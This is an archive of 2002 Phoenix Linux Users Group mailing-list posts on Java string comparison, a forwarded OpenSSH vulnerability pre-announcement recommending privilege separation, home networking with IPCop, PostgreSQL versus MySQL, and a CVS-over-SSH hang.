the programmer from the Big 5 Consulting Firm that we paid almost 7 figures to didn't know the difference either. George Isaac Sparrow wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Friday 21 June 2002 09:25 am, Alpha Zenon Sanchez wrote: > > > > BTW...my gut instinct tells me that the second example > > > > 'if (a.equals("something")){ > > > > ---instructions---- > > > > } > > > > will compile and work....I've seen this example > > before, > > but not sure why a.equals works rather than a == > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > "a.equls()" tests to see if the objects are equal. Two diff. objects are > equal. > "==" will tell you if two refrences point to the same object. > > String a = "foo" > String b = "foo" > > if (a.equals(b)) // true > > if (a == b) // false > > b = a > > if (a == b) // true > > Hope this helps. > - -- > - ------------------------------------------------- > Isaac Sparrow > Staff Engineer > VisiComp, Inc. > http://www.visicomp.com > > GnuPG Key Fingerprint: > 1060 5A07 F6EC B2B3 9AAA 3EA5 7B79 EFE1 6397 4F47 > Get my public key at: > http://www.concentric.net/~issparow > > 'Mounten' wird fuer drei Dinge benutzt: 'Aufsitzen' auf Pferde, 'einklinken' > von Festplatten in Dateisysteme, und, nun, 'besteigen' beim Sex. > (Christa Keil in a German posting: "Mounting is used for three things: > climbing on a horse, linking in a hard disk unit in data systems, and, well, > mounting during sex".) > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: NSA bad. Encryption good. > > iD8DBQE9E2vse3nv4WOXT0cRArERAJ446bZ0bYzp4rvP3abvhwgECo+PjACdGGmL > cY2XScj/BEnP6rGkL67HNng= > =lN7s > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:03:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 24 Jun 2002 21:03:39 -0400 Subject: Quick Reference cards in PDF Message-ID: <3D17C16B.CD32D522@georgetoft.com> http://www.quickreferences.yucom.be/quickrefs.htm -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 00:52:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Mon, 24 Jun 2002 17:52:08 -0700 Subject: [Fwd: Re: [discuss] Upcoming OpenSSH vulnerability] In-Reply-To: <3D17AC36.8020104@deru.com> References: <3D17AC36.8020104@deru.com> Message-ID: <20020625005208.GA31017@aries.evilmascot.com> I cringe at the thought of upgrading sshd again (seems like I *just* did it for something with versions >3.1 iirc), and this time we're also adding a new user and directory (for priv seperation). Why does god hate us so. Hmm, can any openbsd users confirm if sshd is installed and running by default? Last time I used OBSD was 2.8, and if I remember it DID have it installed and running but that was while ago. If this is the case, could this spell the end of the "running x years without a remote exploit"? -Kyle On Mon, Jun 24, 2002 at 04:33:10PM -0700, KevinO wrote: > > > -------- Original Message -------- > Subject: Re: [discuss] Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 15:42:46 -0600 > From: Vincent Danen > Reply-To: discuss@mandrakesecure.net > Organization: Danen Consulting Services (www.danen.net) > To: discuss@mandrakesecure.net > References: > > > On Mon Jun 24, 2002 at 03:21:24PM -0600, Daniel Woods wrote: > > > FYI... > > Updates are currently in the works. The vulnerability, as stated is > not yet public. I am close to having openssh built for all supported > platforms and just need to test them all now. > > > Date: Mon, 24 Jun 2002 23:06:31 +0200 > > From: Markus Friedl > > Reply-To: openssh@openssh.com > > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > > > > > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > > From: Theo de Raadt > > > Subject: Upcoming OpenSSH vulnerability > > > To: bugtraq@securityfocus.com > > > Cc: announce@openbsd.org > > > Cc: dsi@iss.net > > > Cc: misc@openbsd.org > > > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > > ISS. Details will be published early next week. > > > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > > seperation, the bug cannot be exploited. > > > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > > but in particular, it significantly improves the Linux and Solaris > > > support for priv sep. However, it is not yet perfect. Compression is > > > disabled on some systems, and the many varieties of PAM are causing > > > major headaches. > > > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > > priv seperation in their ssh daemons, by setting this in your > > > /etc/ssh/sshd_config file: > > > > > > UsePrivilegeSeparation yes > > > > > > Depending on what your system is, privsep may break some ssh > > > functionality. However, with privsep turned on, you are immune from > > > at least one remote hole. Understand? > > > > > > 3.3 does not contain a fix for this upcoming bug. > > > > > > If priv seperation does not work on your operating system, you need to > > > work with your vendor so that we get patches to make it work on your > > > system. Our developers are swamped enough without trying to support > > > the myriad of PAM and other issues which exist in various systems. > > > You must call on your vendors to help us. > > > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > > the daemon splits into two parts. A part containing about 2500 lines > > > of code remains as root, and the rest of the code is shoved into a > > > chroot-jail without any privs. This makes the daemon less vulnerable > > > to attack. > > > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > > but they really have not heeded our call for assistance. They have > > > basically ignored us. Some, like Alan Cox, even went further stating > > > that privsep was not being worked on because "Nobody provided any info > > > which proves the problem, and many people dont trust you theo" and > > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > > that letter -- it is just so funny). HP's representative was > > > downright rude, but that is OK because Compaq is retiring him. Except > > > for Solar Designer, I think none of them has helped the OpenSSH > > > portable developers make privsep work better on their systems. > > > Apparently Solar Designer is the only person who understands the need > > > for this stuff. > > > > > > So, if vendors would JUMP and get it working better, and send us > > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > > which supports these systems better. So send patches by Thursday > > > night please. Then on Tuesday or Wednesday the complete bug report > > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > > exploitable. Clearly we cannot yet publish what the bug is, or > > > provide anyone with the real patch, but we can try to get maximum > > > deployement of privsep, and therefore make it hurt less when the > > > problem is published. > > > > > > So please push your vendor to get us maximally working privsep patches > > > as soon as possible! > > > > > > We've given most vendors since Friday last week until Thursday to get > > > privsep working well for you so that when the announcement comes out > > > next week their customers are immunized. That is nearly a full week > > > (but they have already wasted a weekend and a Monday). Really I think > > > this is the best we can hope to do (this thing will eventually leak, > > > at which point the details will be published). > > > > > > Customers can judge their vendors by how they respond to this issue. > > > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > > On OpenBSD privsep works flawlessly, and I have reports that is also > > > true on NetBSD. All other systems appear to have minor or major > > > weaknesses when this code is running. > > > > > > (securityfocus postmaster; please post this through immediately, since > > > i have bcc'd over 30 other places..) > > _______________________________________________ > > openssh-unix-announce@mindrot.org mailing list > > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > > > > > > > > > For help, email discuss-help@mandrakesecure.net; to unsubscribe send a > > message to discuss-unsubscribe@mandrakesecure.net. To visit > MandrakeSecure, > > go to http://www.mandrakesecure.net/. > > > > -- > MandrakeSoft Security; http://www.mandrakesecure.net/ > "lynx -source http://www.freezer-burn.org/bios/vdanen.gpg | gpg --import" > 1024D/FE6F2AFD 88D8 0D23 8D4B 3407 5BD7 66F9 2043 D0E5 FE6F 2AFD > > Current Linux kernel 2.4.18-6.10mdk uptime: 16 days 17 hours 58 minutes. > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:19:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Mon, 24 Jun 2002 18:19:48 -0700 Subject: Help getting experience In-Reply-To: <200206211109.49382.isaac.sparrow@visicomp.com> References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> <200206211109.49382.isaac.sparrow@visicomp.com> Message-ID: <20020625011948.GF8953@ecloud.org> On Fri, Jun 21, 2002 at 11:09:44AM -0700, Isaac Sparrow wrote: > String a = "foo" > String b = "foo" > > if (a.equals(b)) // true > > if (a == b) // false Maybe, but Java can also do string interning, which means that it will see that you already have "foo", probably don't need another one, and therefore make them both refer to the same instance. While in general you should use .equals() (or .equalsIgnoreCase(), also very handy; or a Collator, for faster comparison of frequently-used strings, or for alphabetical sorting) to compare strings, if you use intern() on every String, you can use == to compare them, and it will be a lot faster to just compare references instead of looking at every character until a difference is found. But internment (like interrment!) is itself an expensive operation. Make sure you know the difference between deprecation and depreciation, and how to pronounce the two; hate to think of how many programmers I've met who don't. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 00:58:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Mon, 24 Jun 2002 17:58:13 -0700 Subject: IPCop [SOLVED] In-Reply-To: <20020623010508.51cf265c.snoogans@qwest.net> References: <20020623010508.51cf265c.snoogans@qwest.net> Message-ID: <20020624175813.57e10a64.snoogans@qwest.net> thanks to veryone who helped out, the problem was i had it plugged into the uplink port, woops :) thanks to gilbert for the solution :) i allways had to plug the direct line from the qwest box into the uplink port so i just figured it was the same, boy was i wrong =/ well it works now and i got all the updates so its goin good, chalk up another successful installfest install :) On Sun, 23 Jun 2002 01:05:08 -0700 "robert jorgenson" wrote: > i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. > > -Robert > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:48:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 24 Jun 2002 18:48:44 -0700 Subject: OT: Language Stuff (WAS: Help getting experience) In-Reply-To: <20020625011948.GF8953@ecloud.org> References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> <200206211109.49382.isaac.sparrow@visicomp.com> <20020625011948.GF8953@ecloud.org> Message-ID: <200206241848.49890.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 24 June 2002 06:19 pm, Shawn Rutledge wrote: > On Fri, Jun 21, 2002 at 11:09:44AM -0700, Isaac Sparrow wrote: > > String a = "foo" > > String b = "foo" > > > > if (a.equals(b)) // true > > > > if (a == b) // false > > Maybe, but Java can also do string interning, which means that it will > see that you already have "foo", probably don't need another one, and > therefore make them both refer to the same instance. While in general > you should use .equals() (or .equalsIgnoreCase(), also very handy; or a > Collator, for faster comparison of frequently-used strings, or for > alphabetical sorting) to compare strings, if you use intern() on every > String, you can use == to compare them, and it will be a lot faster to > just compare references instead of looking at every character until a > difference is found. But internment (like interrment!) is itself an > expensive operation. I was under the impression that C++ did the same thing. The compiler generates a "static" region of memory that is used for all strings. Although the feature is compiler dependant, if you use the same string in two spots, they should both reference the same string. The gotcha' occurs when the compiler determines the string will be altered, in which case a copy of the string is made rather than using the original. Furthermore, I was under the impression that this was all done at compile time, so it is not really expensive. I would be extremely surprised if Java didn't do the same thing. After all, a String is immutable so there is practically zero overhead with trying to figure that one out. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9F8wApNoctRtUIRQRAv4NAJ9wxIF2u2jITrDpM6puKMNugJy4MQCgjEO4 NJFvVStf/BJFkI99OIELnm0= =LNpe -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:59:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 24 Jun 2002 18:59:06 -0700 Subject: Install Fest Leftovers In-Reply-To: <02062411335104.07972@nova.wedge.org> References: <02062411335104.07972@nova.wedge.org> Message-ID: <1024970346.3d17ce6ae926a@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > OK - I have two meeses and a keyboard and two multiport hubs that I took home > > from the Install Fest. The owners can either claim them (I know who you are) > > or rest assured that they have found a good home. > - -- > Jim > Jim, If the Maueser say Trekker on them they're mine, but you can keep them just feed them a little Kaese now and then. mfg, Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:26:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Goodwin) Date: Tue, 25 Jun 2002 02:26:26 +0000 Subject: PostgreSQL versus MySQL Message-ID: <20020625022626.9ECDA6D9C0@www.fastmail.fm> I can't give you a point-by-point comparison, but I'd select PostgreSQL. It's very easy to set up and manage, it's very stable under load and is fully ACID-compliant. Here are a few links that may help you decide, but realize that both databases are evolving fairly rapidly, so some of this may be rather dated: http://www.phpbuilder.com/columns/tim20001112.php3 http://www.devshed.com/Server_Side/PostgreSQL/Installing/page1.html http://dmoz.org/Computers/Software/Databases/PostgreSQL http://www.101com.com/elx/article.asp?articleid=4340 http://philip.greenspun.com/panda/databases-choosing#acid /s. ======================================= Scott S. Goodwin scott@scottg.net http://scottg.net On Mon, 24 Jun 2002 17:46:02 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: > Message: 9 > From: Lynn David Newton > Date: Mon, 24 Jun 2002 15:22:31 -0700 > To: Phoenix Linux Users Group > Subject: PostgreSQL versus MySQL > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > -- > Lynn David Newton > Phoenix, AZ -- Scott Goodwin scott@scottg.net http://scottg.net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:32:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Goodwin) Date: Tue, 25 Jun 2002 02:32:26 +0000 Subject: CVS via SSH issues Message-ID: <20020625023226.69AA16D9B0@www.fastmail.fm> (resend -- forgot to set the 'Re:' to something intelligible -- sorry.) On Mon, 24 Jun 2002 17:46:02 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: I've experienced the same behavior intermittently on my RH 7.2 box while checking out source from SourceForge.net. Not sure where the problem is, but when I Ctrl-C to break the connection, it seems that the last file did fully download, so the problem is probably in the closing the socket connection itself. /s. > Message: 8 > Date: Mon, 24 Jun 2002 15:20:25 -0700 > From: mondoshawan@tank.dyndns.org > To: plug > Subject: CVS via SSH issues > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Okay, maybe I'm doing something _completely_ wrong in here somewhere, > but > I'm experiencing problems doing a CVS checkout operation via SSH. > Either CVS > or SSH is hanging after checking out the last file in a module. Here's > the > scenario: > > [mondoshawan@nadesico:~]$ echo $CVSROOT > :ext:mondoshawan@thing:/var/cvs > [mondoshawan@nadesico:~]$ echo $CVS_RSH > ssh > [mondoshawan@nadesico:~]$ cvs co common > mondoshawan@thing's password: > U common/classes/srep/live/MsgTopicPostable.php > U common/classes/srep/live/Nav.php > (...ad infinitum...) > U common/functions/session.php > > Just after dealing with that last file, it hangs. It just so happens > that > common/functions/session.php is the last file it needs to checkout. > When I > do the checkout locally on Thing, I don't have any problems. > Additionally, > other coworkers don't have this issue (both Mac OS X and Debian Linux), > so > I'm guessing it's an issue on my local machine. Any ideas? > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > > --__--__-- > > Message: 9 > From: Lynn David Newton > Date: Mon, 24 Jun 2002 15:22:31 -0700 > To: Phoenix Linux Users Group > Subject: PostgreSQL versus MySQL > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > -- > Lynn David Newton > Phoenix, AZ > > --__--__-- > > Message: 10 > Subject: OpenSSL encryption > From: Benjamin Bostow > To: plug-discuss@lists.plug.phoenix.az.us > Date: 24 Jun 2002 15:59:55 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > What is the strength of the encryption in OpenSSL and OpenSSH? Is there > a way to limit it to 56-bit for export and not allow the 128-bit? > > Ben > > > > --__--__-- > > Message: 11 > Date: Mon, 24 Jun 2002 15:28:20 -0700 > From: KevinO > To: AZUnix csnet , > PLUG discuss > > Subject: [Fwd: [openssh-unix-announce] Re: Upcoming OpenSSH > vulnerability] > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > For your SA'n enjoyment > > -------- Original Message -------- > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 23:06:31 +0200 > From: Markus Friedl > Reply-To: openssh@openssh.com > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > References: <200206242100.g5OL0BLL019128@cvs.openbsd.org> > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > From: Theo de Raadt > > Subject: Upcoming OpenSSH vulnerability > > To: bugtraq@securityfocus.com > > Cc: announce@openbsd.org > > Cc: dsi@iss.net > > Cc: misc@openbsd.org > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > ISS. Details will be published early next week. > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > seperation, the bug cannot be exploited. > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > but in particular, it significantly improves the Linux and Solaris > > support for priv sep. However, it is not yet perfect. Compression is > > disabled on some systems, and the many varieties of PAM are causing > > major headaches. > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > priv seperation in their ssh daemons, by setting this in your > > /etc/ssh/sshd_config file: > > > > UsePrivilegeSeparation yes > > > > Depending on what your system is, privsep may break some ssh > > functionality. However, with privsep turned on, you are immune from > > at least one remote hole. Understand? > > > > 3.3 does not contain a fix for this upcoming bug. > > > > If priv seperation does not work on your operating system, you need to > > work with your vendor so that we get patches to make it work on your > > system. Our developers are swamped enough without trying to support > > the myriad of PAM and other issues which exist in various systems. > > You must call on your vendors to help us. > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > the daemon splits into two parts. A part containing about 2500 lines > > of code remains as root, and the rest of the code is shoved into a > > chroot-jail without any privs. This makes the daemon less vulnerable > > to attack. > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > but they really have not heeded our call for assistance. They have > > basically ignored us. Some, like Alan Cox, even went further stating > > that privsep was not being worked on because "Nobody provided any info > > which proves the problem, and many people dont trust you theo" and > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > that letter -- it is just so funny). HP's representative was > > downright rude, but that is OK because Compaq is retiring him. Except > > for Solar Designer, I think none of them has helped the OpenSSH > > portable developers make privsep work better on their systems. > > Apparently Solar Designer is the only person who understands the need > > for this stuff. > > > > So, if vendors would JUMP and get it working better, and send us > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > which supports these systems better. So send patches by Thursday > > night please. Then on Tuesday or Wednesday the complete bug report > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > exploitable. Clearly we cannot yet publish what the bug is, or > > provide anyone with the real patch, but we can try to get maximum > > deployement of privsep, and therefore make it hurt less when the > > problem is published. > > > > So please push your vendor to get us maximally working privsep patches > > as soon as possible! > > > > We've given most vendors since Friday last week until Thursday to get > > privsep working well for you so that when the announcement comes out > > next week their customers are immunized. That is nearly a full week > > (but they have already wasted a weekend and a Monday). Really I think > > this is the best we can hope to do (this thing will eventually leak, > > at which point the details will be published). > > > > Customers can judge their vendors by how they respond to this issue. > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > On OpenBSD privsep works flawlessly, and I have reports that is also > > true on NetBSD. All other systems appear to have minor or major > > weaknesses when this code is running. > > > > (securityfocus postmaster; please post this through immediately, since > > i have bcc'd over 30 other places..) > _______________________________________________ > openssh-unix-announce@mindrot.org mailing list > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > > > > -- > Kevin O'Connor > > "People will be free to devote themselves to activities that are fun > ... > > The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, > Inc. > > > > --__--__-- > > _______________________________________________ > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > End of PLUG-discuss Digest > -- Scott Goodwin scott@scottg.net http://scottg.net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 02:31:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Goodwin) Date: Tue, 25 Jun 2002 02:31:02 +0000 Subject: PLUG-discuss digest, Vol 1 #2399 - 11 msgs Message-ID: <20020625023102.EFAC36DAB1@www.fastmail.fm> On Mon, 24 Jun 2002 17:46:02 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: I've experienced the same behavior intermittently on my RH 7.2 box while checking out source from SourceForge.net. Not sure where the problem is, but when I Ctrl-C to break the connection, it seems that the last file did fully download, so the problem is probably in the closing the socket connection itself. /s. > Message: 8 > Date: Mon, 24 Jun 2002 15:20:25 -0700 > From: mondoshawan@tank.dyndns.org > To: plug > Subject: CVS via SSH issues > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Okay, maybe I'm doing something _completely_ wrong in here somewhere, > but > I'm experiencing problems doing a CVS checkout operation via SSH. > Either CVS > or SSH is hanging after checking out the last file in a module. Here's > the > scenario: > > [mondoshawan@nadesico:~]$ echo $CVSROOT > :ext:mondoshawan@thing:/var/cvs > [mondoshawan@nadesico:~]$ echo $CVS_RSH > ssh > [mondoshawan@nadesico:~]$ cvs co common > mondoshawan@thing's password: > U common/classes/srep/live/MsgTopicPostable.php > U common/classes/srep/live/Nav.php > (...ad infinitum...) > U common/functions/session.php > > Just after dealing with that last file, it hangs. It just so happens > that > common/functions/session.php is the last file it needs to checkout. > When I > do the checkout locally on Thing, I don't have any problems. > Additionally, > other coworkers don't have this issue (both Mac OS X and Debian Linux), > so > I'm guessing it's an issue on my local machine. Any ideas? > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > > --__--__-- > > Message: 9 > From: Lynn David Newton > Date: Mon, 24 Jun 2002 15:22:31 -0700 > To: Phoenix Linux Users Group > Subject: PostgreSQL versus MySQL > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > -- > Lynn David Newton > Phoenix, AZ > > --__--__-- > > Message: 10 > Subject: OpenSSL encryption > From: Benjamin Bostow > To: plug-discuss@lists.plug.phoenix.az.us > Date: 24 Jun 2002 15:59:55 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > What is the strength of the encryption in OpenSSL and OpenSSH? Is there > a way to limit it to 56-bit for export and not allow the 128-bit? > > Ben > > > > --__--__-- > > Message: 11 > Date: Mon, 24 Jun 2002 15:28:20 -0700 > From: KevinO > To: AZUnix csnet , > PLUG discuss > > Subject: [Fwd: [openssh-unix-announce] Re: Upcoming OpenSSH > vulnerability] > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > For your SA'n enjoyment > > -------- Original Message -------- > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 23:06:31 +0200 > From: Markus Friedl > Reply-To: openssh@openssh.com > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > References: <200206242100.g5OL0BLL019128@cvs.openbsd.org> > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > From: Theo de Raadt > > Subject: Upcoming OpenSSH vulnerability > > To: bugtraq@securityfocus.com > > Cc: announce@openbsd.org > > Cc: dsi@iss.net > > Cc: misc@openbsd.org > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > ISS. Details will be published early next week. > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > seperation, the bug cannot be exploited. > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > but in particular, it significantly improves the Linux and Solaris > > support for priv sep. However, it is not yet perfect. Compression is > > disabled on some systems, and the many varieties of PAM are causing > > major headaches. > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > priv seperation in their ssh daemons, by setting this in your > > /etc/ssh/sshd_config file: > > > > UsePrivilegeSeparation yes > > > > Depending on what your system is, privsep may break some ssh > > functionality. However, with privsep turned on, you are immune from > > at least one remote hole. Understand? > > > > 3.3 does not contain a fix for this upcoming bug. > > > > If priv seperation does not work on your operating system, you need to > > work with your vendor so that we get patches to make it work on your > > system. Our developers are swamped enough without trying to support > > the myriad of PAM and other issues which exist in various systems. > > You must call on your vendors to help us. > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > the daemon splits into two parts. A part containing about 2500 lines > > of code remains as root, and the rest of the code is shoved into a > > chroot-jail without any privs. This makes the daemon less vulnerable > > to attack. > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > but they really have not heeded our call for assistance. They have > > basically ignored us. Some, like Alan Cox, even went further stating > > that privsep was not being worked on because "Nobody provided any info > > which proves the problem, and many people dont trust you theo" and > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > that letter -- it is just so funny). HP's representative was > > downright rude, but that is OK because Compaq is retiring him. Except > > for Solar Designer, I think none of them has helped the OpenSSH > > portable developers make privsep work better on their systems. > > Apparently Solar Designer is the only person who understands the need > > for this stuff. > > > > So, if vendors would JUMP and get it working better, and send us > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > which supports these systems better. So send patches by Thursday > > night please. Then on Tuesday or Wednesday the complete bug report > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > exploitable. Clearly we cannot yet publish what the bug is, or > > provide anyone with the real patch, but we can try to get maximum > > deployement of privsep, and therefore make it hurt less when the > > problem is published. > > > > So please push your vendor to get us maximally working privsep patches > > as soon as possible! > > > > We've given most vendors since Friday last week until Thursday to get > > privsep working well for you so that when the announcement comes out > > next week their customers are immunized. That is nearly a full week > > (but they have already wasted a weekend and a Monday). Really I think > > this is the best we can hope to do (this thing will eventually leak, > > at which point the details will be published). > > > > Customers can judge their vendors by how they respond to this issue. > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > On OpenBSD privsep works flawlessly, and I have reports that is also > > true on NetBSD. All other systems appear to have minor or major > > weaknesses when this code is running. > > > > (securityfocus postmaster; please post this through immediately, since > > i have bcc'd over 30 other places..) > _______________________________________________ > openssh-unix-announce@mindrot.org mailing list > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with 